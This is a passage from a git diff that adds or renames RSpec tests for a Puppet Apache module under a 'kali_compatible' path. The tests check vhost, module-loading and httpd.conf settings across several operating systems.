'/apache_spec/include': ensure => present, content => '#additional_includes' } + apache::vhost { 'test.server': + docroot => '/apache_spec', + additional_includes => '/apache_spec/include', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'Include "/apache_spec/include"' } + end + end + + describe 'virtualhost without priority prefix' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + apache::vhost { 'test.server': + priority => false, + docroot => '/tmp' + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/test.server.conf") do + it { is_expected.to be_file } + end + end + + describe 'SSLProtocol directive' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + apache::vhost { 'test.server': + docroot => '/tmp', + ssl => true, + ssl_protocol => ['All', '-SSLv2'], + } + apache::vhost { 'test2.server': + docroot => '/tmp', + ssl => true, + ssl_protocol => 'All -SSLv2', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'SSLProtocol *All -SSLv2' } + end + + describe file("#{$vhost_dir}/25-test2.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'SSLProtocol *All -SSLv2' } + end + end +end diff --git a/modules/services/unix/http/apache/spec/acceptance/vhosts_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/vhosts_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/vhosts_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/vhosts_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/apache_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/apache_spec.rb new file mode 100644 index 000000000..715ed4124 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/apache_spec.rb @@ -0,0 +1,910 @@ +require 'spec_helper' + +describe 'apache', :type => :class do + context "on a Debian OS" do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_package("httpd").with( + 'notify' => 'Class[Apache::Service]', + 'ensure' => 'installed' + ) + } + it { is_expected.to contain_user("www-data") } + it { is_expected.to contain_group("www-data") } + it { is_expected.to contain_class("apache::service") } + it { is_expected.to contain_file("/var/www").with( + 'ensure' => 'directory' + ) + } + it { is_expected.to contain_file("/etc/apache2/sites-enabled").with( + 'ensure' => 'directory', + 'recurse' => 'true', + 'purge' => 'true', + 'notify' => 'Class[Apache::Service]', + 'require' => 'Package[httpd]' + ) + } + it { is_expected.to contain_file("/etc/apache2/mods-enabled").with( + 'ensure' => 'directory', + 'recurse' => 'true', + 'purge' => 'true', + 'notify' => 'Class[Apache::Service]', + 'require' => 'Package[httpd]' + ) + } + it { is_expected.to contain_file("/etc/apache2/mods-available").with( + 'ensure' => 'directory', + 'recurse' => 'true', + 'purge' => 'false', + 'notify' => 'Class[Apache::Service]', + 'require' => 'Package[httpd]' + ) + } + it { is_expected.to contain_concat("/etc/apache2/ports.conf").with( + 'owner' => 'root', + 'group' => 'root', + 'mode' => '0644', + 'notify' => 'Class[Apache::Service]' + ) + } + # Assert that load files are placed and symlinked for these mods, but no conf file. + [ + 'auth_basic', + 'authn_file', + 'authz_default', + 'authz_groupfile', + 'authz_host', + 'authz_user', + 'dav', + 'env' + ].each do |modname| + it { is_expected.to contain_file("#{modname}.load").with( + 'path' => "/etc/apache2/mods-available/#{modname}.load", + 'ensure' => 'file' + ) } + it { is_expected.to contain_file("#{modname}.load symlink").with( + 'path' => "/etc/apache2/mods-enabled/#{modname}.load", + 'ensure' => 'link', + 'target' => "/etc/apache2/mods-available/#{modname}.load" + ) } + it { is_expected.not_to contain_file("#{modname}.conf") } + it { is_expected.not_to contain_file("#{modname}.conf symlink") } + end + + context "with Apache version < 2.4" do + let :params do + { :apache_version => '2.2' } + end + + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^Include "/etc/apache2/conf\.d/\*\.conf"$} } + end + + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + :use_optional_includes => true + } + end + + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^IncludeOptional "/etc/apache2/conf\.d/\*\.conf"$} } + end + + context "when specifying slash encoding behaviour" do + let :params do + { :allow_encoded_slashes => 'nodecode' } + end + + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^AllowEncodedSlashes nodecode$} } + end + + context "when specifying fileETag behaviour" do + let :params do + { :file_e_tag => 'None' } + end + + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^FileETag None$} } + end + + context "when specifying default character set" do + let :params do + { :default_charset => 'none' } + end + + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^AddDefaultCharset none$} } + end + + # Assert that both load files and conf files are placed and symlinked for these mods + [ + 'alias', + 'autoindex', + 'dav_fs', + 'deflate', + 'dir', + 'mime', + 'negotiation', + 'setenvif', + ].each do |modname| + it { is_expected.to contain_file("#{modname}.load").with( + 'path' => "/etc/apache2/mods-available/#{modname}.load", + 'ensure' => 'file' + ) } + it { is_expected.to contain_file("#{modname}.load symlink").with( + 'path' => "/etc/apache2/mods-enabled/#{modname}.load", + 'ensure' => 'link', + 'target' => "/etc/apache2/mods-available/#{modname}.load" + ) } + it { is_expected.to contain_file("#{modname}.conf").with( + 'path' => "/etc/apache2/mods-available/#{modname}.conf", + 'ensure' => 'file' + ) } + it { is_expected.to contain_file("#{modname}.conf symlink").with( + 'path' => "/etc/apache2/mods-enabled/#{modname}.conf", + 'ensure' => 'link', + 'target' => "/etc/apache2/mods-available/#{modname}.conf" + ) } + end + + describe "Check default type" do + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2', + } + end + + context "when default_type => 'none'" do + let :params do + { :default_type => 'none' } + end + + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^DefaultType none$} } + end + context "when default_type => 'text/plain'" do + let :params do + { :default_type => 'text/plain' } + end + + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^DefaultType text/plain$} } + end + end + + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + } + end + it { is_expected.to contain_file("/etc/apache2/apache2.conf").without_content %r{^DefaultType [.]*$} } + end + end + + describe "Don't create user resource" do + context "when parameter manage_user is false" do + let :params do + { :manage_user => false } + end + + it { is_expected.not_to contain_user('www-data') } + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^User www-data\n} } + end + end + describe "Don't create group resource" do + context "when parameter manage_group is false" do + let :params do + { :manage_group => false } + end + + it { is_expected.not_to contain_group('www-data') } + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^Group www-data\n} } + end + end + + describe "Add extra LogFormats" do + context "When parameter log_formats is a hash" do + let :params do + { :log_formats => { + 'vhost_common' => "%v %h %l %u %t \"%r\" %>s %b", + 'vhost_combined' => "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" + } } + end + + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^LogFormat "%v %h %l %u %t \"%r\" %>s %b" vhost_common\n} } + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%\{Referer\}i\" \"%\{User-agent\}i\"" vhost_combined\n} } + end + end + + describe "Override existing LogFormats" do + context "When parameter log_formats is a hash" do + let :params do + { :log_formats => { + 'common' => "%v %h %l %u %t \"%r\" %>s %b", + 'combined' => "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" + } } + end + + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^LogFormat "%v %h %l %u %t \"%r\" %>s %b" common\n} } + it { is_expected.to contain_file("/etc/apache2/apache2.conf").without_content %r{^LogFormat "%h %l %u %t \"%r\" %>s %b \"%\{Referer\}i\" \"%\{User-agent\}i\"" combined\n} } + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^LogFormat "%v %h %l %u %t \"%r\" %>s %b" common\n} } + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%\{Referer\}i\" \"%\{User-agent\}i\"" combined\n} } + it { is_expected.to contain_file("/etc/apache2/apache2.conf").without_content %r{^LogFormat "%h %l %u %t \"%r\" %>s %b \"%\{Referer\}i\" \"%\{User-agent\}i\"" combined\n} } + end + end + + context "8" do + let :facts do + super().merge({ + :lsbdistcodename => 'jessie', + :operatingsystemrelease => '8' + }) + end + it { is_expected.to contain_file("/var/www/html").with( + 'ensure' => 'directory' + ) + } + end + context "on Ubuntu" do + let :facts do + super().merge({ + :operatingsystem => 'Ubuntu' + }) + end + + context "14.04" do + let :facts do + super().merge({ + :lsbdistrelease => '14.04', + :operatingsystemrelease => '14.04' + }) + end + it { is_expected.to contain_file("/var/www/html").with( + 'ensure' => 'directory' + ) + } + end + context "13.10" do + let :facts do + super().merge({ + :lsbdistrelease => '13.10', + :operatingsystemrelease => '13.10' + }) + end + it { is_expected.to contain_class('apache').with_apache_version('2.4') } + end + context "12.04" do + let :facts do + super().merge({ + :lsbdistrelease => '12.04', + :operatingsystemrelease => '12.04' + }) + end + it { is_expected.to contain_class('apache').with_apache_version('2.2') } + end + context "13.04" do + let :facts do + super().merge({ + :lsbdistrelease => '13.04', + :operatingsystemrelease => '13.04' + }) + end + it { is_expected.to contain_class('apache').with_apache_version('2.2') } + end + end + end + context "on a RedHat 5 OS" do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '5', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_package("httpd").with( + 'notify' => 'Class[Apache::Service]', + 'ensure' => 'installed' + ) + } + it { is_expected.to contain_user("apache") } + it { is_expected.to contain_group("apache") } + it { is_expected.to contain_class("apache::service") } + it { is_expected.to contain_file("/var/www/html").with( + 'ensure' => 'directory' + ) + } + it { is_expected.to contain_file("/etc/httpd/conf.d").with( + 'ensure' => 'directory', + 'recurse' => 'true', + 'purge' => 'true', + 'notify' => 'Class[Apache::Service]', + 'require' => 'Package[httpd]' + ) + } + it { is_expected.to contain_concat("/etc/httpd/conf/ports.conf").with( + 'owner' => 'root', + 'group' => 'root', + 'mode' => '0644', + 'notify' => 'Class[Apache::Service]' + ) + } + describe "Alternate confd/mod/vhosts directory" do + let :params do + { + :vhost_dir => '/etc/httpd/site.d', + :confd_dir => '/etc/httpd/conf.d', + :mod_dir => '/etc/httpd/mod.d', + } + end + + ['mod.d','site.d','conf.d'].each do |dir| + it { is_expected.to contain_file("/etc/httpd/#{dir}").with( + 'ensure' => 'directory', + 'recurse' => 'true', + 'purge' => 'true', + 'notify' => 'Class[Apache::Service]', + 'require' => 'Package[httpd]' + ) } + end + + # Assert that load files are placed for these mods, but no conf file. + [ + 'auth_basic', + 'authn_file', + 'authz_default', + 'authz_groupfile', + 'authz_host', + 'authz_user', + 'dav', + 'env', + ].each do |modname| + it { is_expected.to contain_file("#{modname}.load").with_path( + "/etc/httpd/mod.d/#{modname}.load" + ) } + it { is_expected.not_to contain_file("#{modname}.conf").with_path( + "/etc/httpd/mod.d/#{modname}.conf" + ) } + end + + # Assert that both load files and conf files are placed for these mods + [ + 'alias', + 'autoindex', + 'dav_fs', + 'deflate', + 'dir', + 'mime', + 'negotiation', + 'setenvif', + ].each do |modname| + it { is_expected.to contain_file("#{modname}.load").with_path( + "/etc/httpd/mod.d/#{modname}.load" + ) } + it { is_expected.to contain_file("#{modname}.conf").with_path( + "/etc/httpd/mod.d/#{modname}.conf" + ) } + end + + context "with Apache version < 2.4" do + let :params do + { :apache_version => '2.2' } + end + + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^Include "/etc/httpd/conf\.d/\*\.conf"$} } + end + + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + :use_optional_includes => true + } + end + + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^IncludeOptional "/etc/httpd/conf\.d/\*\.conf"$} } + end + + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2', + :rewrite_lock => '/var/lock/subsys/rewrite-lock' + } + end + + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^RewriteLock /var/lock/subsys/rewrite-lock$} } + end + + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2' + } + end + + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").without_content %r{^RewriteLock [.]*$} } + end + + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + :rewrite_lock => '/var/lock/subsys/rewrite-lock' + } + end + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").without_content %r{^RewriteLock [.]*$} } + end + + context "when specifying slash encoding behaviour" do + let :params do + { :allow_encoded_slashes => 'nodecode' } + end + + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^AllowEncodedSlashes nodecode$} } + end + + context "when specifying default character set" do + let :params do + { :default_charset => 'none' } + end + + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^AddDefaultCharset none$} } + end + + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2', + } + end + + context "when default_type => 'none'" do + let :params do + { :default_type => 'none' } + end + + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^DefaultType none$} } + end + context "when default_type => 'text/plain'" do + let :params do + { :default_type => 'text/plain' } + end + + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^DefaultType text/plain$} } + end + end + + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + } + end + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").without_content %r{^DefaultType [.]*$} } + end + + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^Include "/etc/httpd/site\.d/\*"$} } + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^Include "/etc/httpd/mod\.d/\*\.conf"$} } + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^Include "/etc/httpd/mod\.d/\*\.load"$} } + end + + describe "Alternate conf directory" do + let :params do + { :conf_dir => '/opt/rh/root/etc/httpd/conf' } + end + + it { is_expected.to contain_file("/opt/rh/root/etc/httpd/conf/httpd.conf").with( + 'ensure' => 'file', + 'notify' => 'Class[Apache::Service]', + 'require' => ['Package[httpd]', 'Concat[/etc/httpd/conf/ports.conf]'], + ) } + end + + describe "Alternate conf.d directory" do + let :params do + { :confd_dir => '/etc/httpd/special_conf.d' } + end + + it { is_expected.to contain_file("/etc/httpd/special_conf.d").with( + 'ensure' => 'directory', + 'recurse' => 'true', + 'purge' => 'true', + 'notify' => 'Class[Apache::Service]', + 'require' => 'Package[httpd]' + ) } + end + + describe "Alternate mpm_modules" do + context "when declaring mpm_module is false" do + let :params do + { :mpm_module => false } + end + it 'should not declare mpm modules' do + is_expected.not_to contain_class('apache::mod::event') + is_expected.not_to contain_class('apache::mod::itk') + is_expected.not_to contain_class('apache::mod::peruser') + is_expected.not_to contain_class('apache::mod::prefork') + is_expected.not_to contain_class('apache::mod::worker') + end + end + context "when declaring mpm_module => prefork" do + let :params do + { :mpm_module => 'prefork' } + end + it { is_expected.to contain_class('apache::mod::prefork') } + it { is_expected.not_to contain_class('apache::mod::event') } + it { is_expected.not_to contain_class('apache::mod::itk') } + it { is_expected.not_to contain_class('apache::mod::peruser') } + it { is_expected.not_to contain_class('apache::mod::worker') } + end + context "when declaring mpm_module => worker" do + let :params do + { :mpm_module => 'worker' } + end + it { is_expected.to contain_class('apache::mod::worker') } + it { is_expected.not_to contain_class('apache::mod::event') } + it { is_expected.not_to contain_class('apache::mod::itk') } + it { is_expected.not_to contain_class('apache::mod::peruser') } + it { is_expected.not_to contain_class('apache::mod::prefork') } + end + end + + describe "different templates for httpd.conf" do + context "with default" do + let :params do + { :conf_template => 'apache/httpd.conf.erb' } + end + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^# Security\n} } + end + context "with non-default" do + let :params do + { :conf_template => 'site_apache/fake.conf.erb' } + end + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^Fake template for rspec.$} } + end + end + + describe "default mods" do + context "without" do + let :params do + { :default_mods => false } + end + + it { is_expected.to contain_apache__mod('authz_host') } + it { is_expected.not_to contain_apache__mod('env') } + end + context "custom" do + let :params do + { :default_mods => [ + 'info', + 'alias', + 'mime', + 'env', + 'setenv', + 'expires', + ]} + end + + it { is_expected.to contain_apache__mod('authz_host') } + it { is_expected.to contain_apache__mod('env') } + it { is_expected.to contain_class('apache::mod::info') } + it { is_expected.to contain_class('apache::mod::mime') } + end + end + describe "Don't create user resource" do + context "when parameter manage_user is false" do + let :params do + { :manage_user => false } + end + + it { is_expected.not_to contain_user('apache') } + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^User apache\n} } + end + end + describe "Don't create group resource" do + context "when parameter manage_group is false" do + let :params do + { :manage_group => false } + end + + it { is_expected.not_to contain_group('apache') } + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^Group apache\n} } + + end + end + describe "sendfile" do + context "with invalid value" do + let :params do + { :sendfile => 'foo' } + end + it "should fail" do + expect do + catalogue + end.to raise_error(Puppet::Error, /"foo" does not match/) + end + end + context "On" do + let :params do + { :sendfile => 'On' } + end + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^EnableSendfile On\n} } + end + context "Off" do + let :params do + { :sendfile => 'Off' } + end + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{^EnableSendfile Off\n} } + end + end + context "on Fedora" do + let :facts do + super().merge({ + :operatingsystem => 'Fedora' + }) + end + + context "21" do + let :facts do + super().merge({ + :lsbdistrelease => '21', + :operatingsystemrelease => '21' + }) + end + it { is_expected.to contain_class('apache').with_apache_version('2.4') } + end + context "Rawhide" do + let :facts do + super().merge({ + :lsbdistrelease => 'Rawhide', + :operatingsystemrelease => 'Rawhide' + }) + end + it { is_expected.to contain_class('apache').with_apache_version('2.4') } + end + # kinda obsolete + context "17" do + let :facts do + super().merge({ + :lsbdistrelease => '17', + :operatingsystemrelease => '17' + }) + end + it { is_expected.to contain_class('apache').with_apache_version('2.2') } + end + end + end + context "on a FreeBSD OS" do + let :facts do + { + :id => 'root', + :kernel => 'FreeBSD', + :osfamily => 'FreeBSD', + :operatingsystem => 'FreeBSD', + :operatingsystemrelease => '10', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class("apache::package").with({'ensure' => 'present'}) } + it { is_expected.to contain_user("www") } + it { is_expected.to contain_group("www") } + it { is_expected.to contain_class("apache::service") } + it { is_expected.to contain_file("/usr/local/www/apache24/data").with( + 'ensure' => 'directory' + ) + } + it { is_expected.to contain_file("/usr/local/etc/apache24/Vhosts").with( + 'ensure' => 'directory', + 'recurse' => 'true', + 'purge' => 'true', + 'notify' => 'Class[Apache::Service]', + 'require' => 'Package[httpd]' + ) } + it { is_expected.to contain_file("/usr/local/etc/apache24/Modules").with( + 'ensure' => 'directory', + 'recurse' => 'true', + 'purge' => 'true', + 'notify' => 'Class[Apache::Service]', + 'require' => 'Package[httpd]' + ) } + it { is_expected.to contain_concat("/usr/local/etc/apache24/ports.conf").with( + 'owner' => 'root', + 'group' => 'wheel', + 'mode' => '0644', + 'notify' => 'Class[Apache::Service]' + ) } + # Assert that load files are placed for these mods, but no conf file. + [ + 'auth_basic', + 'authn_core', + 'authn_file', + 'authz_groupfile', + 'authz_host', + 'authz_user', + 'dav', + 'env' + ].each do |modname| + it { is_expected.to contain_file("#{modname}.load").with( + 'path' => "/usr/local/etc/apache24/Modules/#{modname}.load", + 'ensure' => 'file' + ) } + it { is_expected.not_to contain_file("#{modname}.conf") } + end + + # Assert that both load files and conf files are placed for these mods + [ + 'alias', + 'autoindex', + 'dav_fs', + 'deflate', + 'dir', + 'mime', + 'negotiation', + 'setenvif', + ].each do |modname| + it { is_expected.to contain_file("#{modname}.load").with( + 'path' => "/usr/local/etc/apache24/Modules/#{modname}.load", + 'ensure' => 'file' + ) } + it { is_expected.to contain_file("#{modname}.conf").with( + 'path' => "/usr/local/etc/apache24/Modules/#{modname}.conf", + 'ensure' => 'file' + ) } + end + end + context "on a Gentoo OS" do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_user("apache") } + it { is_expected.to contain_group("apache") } + it { is_expected.to contain_class("apache::service") } + it { is_expected.to contain_file("/var/www/localhost/htdocs").with( + 'ensure' => 'directory' + ) + } + it { is_expected.to contain_file("/etc/apache2/vhosts.d").with( + 'ensure' => 'directory', + 'recurse' => 'true', + 'purge' => 'true', + 'notify' => 'Class[Apache::Service]', + 'require' => 'Package[httpd]' + ) } + it { is_expected.to contain_file("/etc/apache2/modules.d").with( + 'ensure' => 'directory', + 'recurse' => 'true', + 'purge' => 'true', + 'notify' => 'Class[Apache::Service]', + 'require' => 'Package[httpd]' + ) } + it { is_expected.to contain_concat("/etc/apache2/ports.conf").with( + 'owner' => 'root', + 'group' => 'wheel', + 'mode' => '0644', + 'notify' => 'Class[Apache::Service]' + ) } + end + context 'on all OSes' do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context 'with a custom apache_name parameter' do + let :params do { + :apache_name => 'httpd24-httpd' + } + end + it { is_expected.to contain_package("httpd").with( + 'notify' => 'Class[Apache::Service]', + 'ensure' => 'installed', + 'name' => 'httpd24-httpd' + ) + } + end + context 'with a custom file_mode parameter' do + let :params do { + :file_mode => '0640' + } + end + it { is_expected.to contain_concat("/etc/httpd/conf/ports.conf").with( + 'mode' => '0640', + ) + } + end + context 'with a custom root_directory_options parameter' do + let :params do { + :root_directory_options => ['-Indexes', '-FollowSymLinks'] + } + end + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{Options -Indexes -FollowSymLinks} } + end + context 'with a custom root_directory_secured parameter and Apache < 2.4' do + let :params do { + :apache_version => '2.2', + :root_directory_secured => true + } + end + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{Options FollowSymLinks\n\s+AllowOverride None\n\s+Order deny,allow\n\s+Deny from all} } + end + context 'with a custom root_directory_secured parameter and Apache >= 2.4' do + let :params do { + :apache_version => '2.4', + :root_directory_secured => true + } + end + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{Options FollowSymLinks\n\s+AllowOverride None\n\s+Require all denied} } + end + context 'default vhost defaults' do + it { is_expected.to contain_apache__vhost('default').with_ensure('present') } + it { is_expected.to contain_apache__vhost('default-ssl').with_ensure('absent') } + it { is_expected.to contain_file("/etc/httpd/conf/httpd.conf").with_content %r{Options FollowSymLinks} } + end + context 'without default non-ssl vhost' do + let :params do { + :default_vhost => false + } + end + it { is_expected.to contain_apache__vhost('default').with_ensure('absent') } + it { is_expected.not_to contain_file('/var/www/html') } + end + context 'with default ssl vhost' do + let :params do { + :default_ssl_vhost => true + } + end + it { is_expected.to contain_apache__vhost('default-ssl').with_ensure('present') } + it { is_expected.to contain_file('/var/www/html') } + end + end + context 'with unsupported osfamily' do + let :facts do + { :osfamily => 'Darwin', + :operatingsystemrelease => '13.1.0', + :concat_basedir => '/dne', + :is_pe => false, + } + end + + it do + expect { + catalogue + }.to raise_error(Puppet::Error, /Unsupported osfamily/) + end + end +end diff --git a/modules/services/unix/http/apache/spec/classes/dev_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/dev_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/dev_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/dev_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/alias_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/alias_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/alias_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/alias_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/auth_cas_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/auth_cas_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/auth_cas_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/auth_cas_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/auth_kerb_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/auth_kerb_spec.rb new file mode 100644 index 000000000..0f77a627e --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/auth_kerb_spec.rb @@ -0,0 +1,106 @@ +require 'spec_helper' + +describe 'apache::mod::auth_kerb', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("auth_kerb") } + it { is_expected.to contain_package("libapache2-mod-auth-kerb") } + end + context "on a RedHat OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("auth_kerb") } + it { is_expected.to contain_package("mod_auth_kerb") } + end + context "on a FreeBSD OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'FreeBSD', + :osfamily => 'FreeBSD', + :operatingsystem => 'FreeBSD', + :operatingsystemrelease => '9', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("auth_kerb") } + it { is_expected.to contain_package("www/mod_auth_kerb2") } + end + context "on a Gentoo OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod("auth_kerb") } + it { is_expected.to contain_package("www-apache/mod_auth_kerb") } + end + end + context "overriding mod_packages" do + context "on a RedHat OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + let :pre_condition do + <<-EOS + include apache::params + class { 'apache': + mod_packages => merge($::apache::params::mod_packages, { + 'auth_kerb' => 'httpd24-mod_auth_kerb', + }) + } + EOS + end + it { is_expected.to contain_apache__mod("auth_kerb") } + it { is_expected.to contain_package("httpd24-mod_auth_kerb") } + it { is_expected.to_not contain_package("mod_auth_kerb") } + end + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/auth_mellon_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/auth_mellon_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/auth_mellon_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/auth_mellon_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/authn_dbd_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/authn_dbd_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/authn_dbd_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/authn_dbd_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/authnz_ldap_spec.rb 